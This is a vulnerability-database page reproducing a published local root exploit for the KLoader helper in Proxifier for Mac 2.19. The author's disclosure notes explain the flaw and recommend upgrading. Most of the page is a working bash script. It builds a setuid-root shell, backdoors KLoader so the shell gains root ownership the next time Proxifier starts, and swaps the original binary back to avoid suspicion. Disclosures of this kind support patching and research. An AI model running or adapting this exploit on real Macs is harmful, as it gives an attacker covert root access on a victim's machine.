Lucene search
K

Proxifier For Mac 2.19 Local Privilege Escalation

🗓️ 06 Dec 2017 00:00:00Reported by Mark WadhamType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 54 Views

Proxifier for Mac 2.19 Local Privilege Escalation with KLoade

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Proxifier for Mac 2.17 / 2.18 - Privelege Escalation Exploit
11 Apr 201700:00
zdt
0day.today
Proxifier for Mac 2.19 - Local root Privilege Escalation Exploit
6 Dec 201700:00
zdt
CNVD
Proxifier for Mac Elevation of Privilege Vulnerability
13 Apr 201700:00
cnvd
CVE
CVE-2017-7643
14 Apr 201714:00
cve
CVE
CVE-2017-7690
14 Apr 201718:00
cve
Cvelist
CVE-2017-7643
14 Apr 201714:00
cvelist
Cvelist
CVE-2017-7690
14 Apr 201718:00
cvelist
Exploit DB
Proxifier for Mac 2.19 - Local Privilege Escalation
6 Dec 201700:00
exploitdb
EUVD
EUVD-2017-16648
7 Oct 202500:30
euvd
EUVD
EUVD-2017-16666
7 Oct 202500:30
euvd
Rows per page
`# With CVE-2017-7643 I disclosed a command injection vulnerablity in the KLoader  
# binary that ships with Proxifier <= 2.18.  
#  
# Unfortunately 2.19 is also vulnerable to a slightly different attack that  
# yields the same result.  
#  
# When Proxifier is first run, if the KLoader binary is not suid root it gets  
# executed as root by Proxifier.app (the user is prompted to enter an admin  
# password). The KLoader binary will then make itself suid root so that it  
# doesn't need to prompt the user again.  
#  
# The Proxifier developers added parameter sanitisation and kext signature  
# verification to the KLoader binary as a fix for CVE-2017-7643 but Proxifier.app  
# does no verification of the KLoader binary that gets executed as root.  
#  
# The directory KLoader sits in is not root-owned so we can replace it with  
# our own binary that will get executed as root when Proxifier starts.  
#  
# To avoid raising any suspicion, as soon we get executed as root we can swap  
# the real KLoader binary back into place and forward the execution call on  
# to it. It does require the user to re-enter their credentials the next time  
# Proxifier is run but it's likely most users wouldn't think anything of this.  
#  
# Users should upgrade to version 2.19.2.  
#  
# https://m4.rkw.io/proxifier_privesc_219.sh.txt  
# 3e30f1c7ea213e0ae1f4046e1209124ee79a5bec479fa23d0b2143f9725547ac  
# -------------------------------------------------------------------  
  
#!/bin/bash  
  
#####################################################################  
# Local root exploit for vulnerable KLoader binary distributed with #  
# Proxifier for Mac v2.19 #  
#####################################################################  
# by m4rkw, shouts to #coolkids :P #  
#####################################################################  
  
cat > a.c <<EOF  
#include <stdio.h>  
#include <unistd.h>  
  
int main()  
{  
setuid(0);  
seteuid(0);  
  
execl("/bin/bash", "bash", NULL);  
return 0;  
}  
EOF  
  
gcc -o /tmp/a a.c  
  
cat > a.c <<EOF  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
  
int main(int ac, char *av[])  
{  
if (geteuid() != 0) {  
printf("KLoader: UID not set to 0\n");  
return 104;  
} else {  
seteuid(0);  
setuid(0);  
  
chown("/tmp/a", 0, 0);  
chmod("/tmp/a", strtol("4755", 0, 8));  
rename("/Applications/Proxifier.app/Contents/KLoader2", "/Applications/Proxifier.app/Contents/KLoader");  
chown("/Applications/Proxifier.app/Contents/KLoader", 0, 0);  
chmod("/Applications/Proxifier.app/Contents/KLoader", strtol("4755", 0, 8));  
execv("/Applications/Proxifier.app/Contents/KLoader", av);  
  
return 0;  
}  
}  
EOF  
  
mv -f /Applications/Proxifier.app/Contents/KLoader /Applications/Proxifier.app/Contents/KLoader2  
gcc -o /Applications/Proxifier.app/Contents/KLoader a.c  
rm -f a.c  
  
echo "Backdoored KLoader installed, the next time Proxifier starts /tmp/a will become suid root."  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Dec 2017 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.00268
54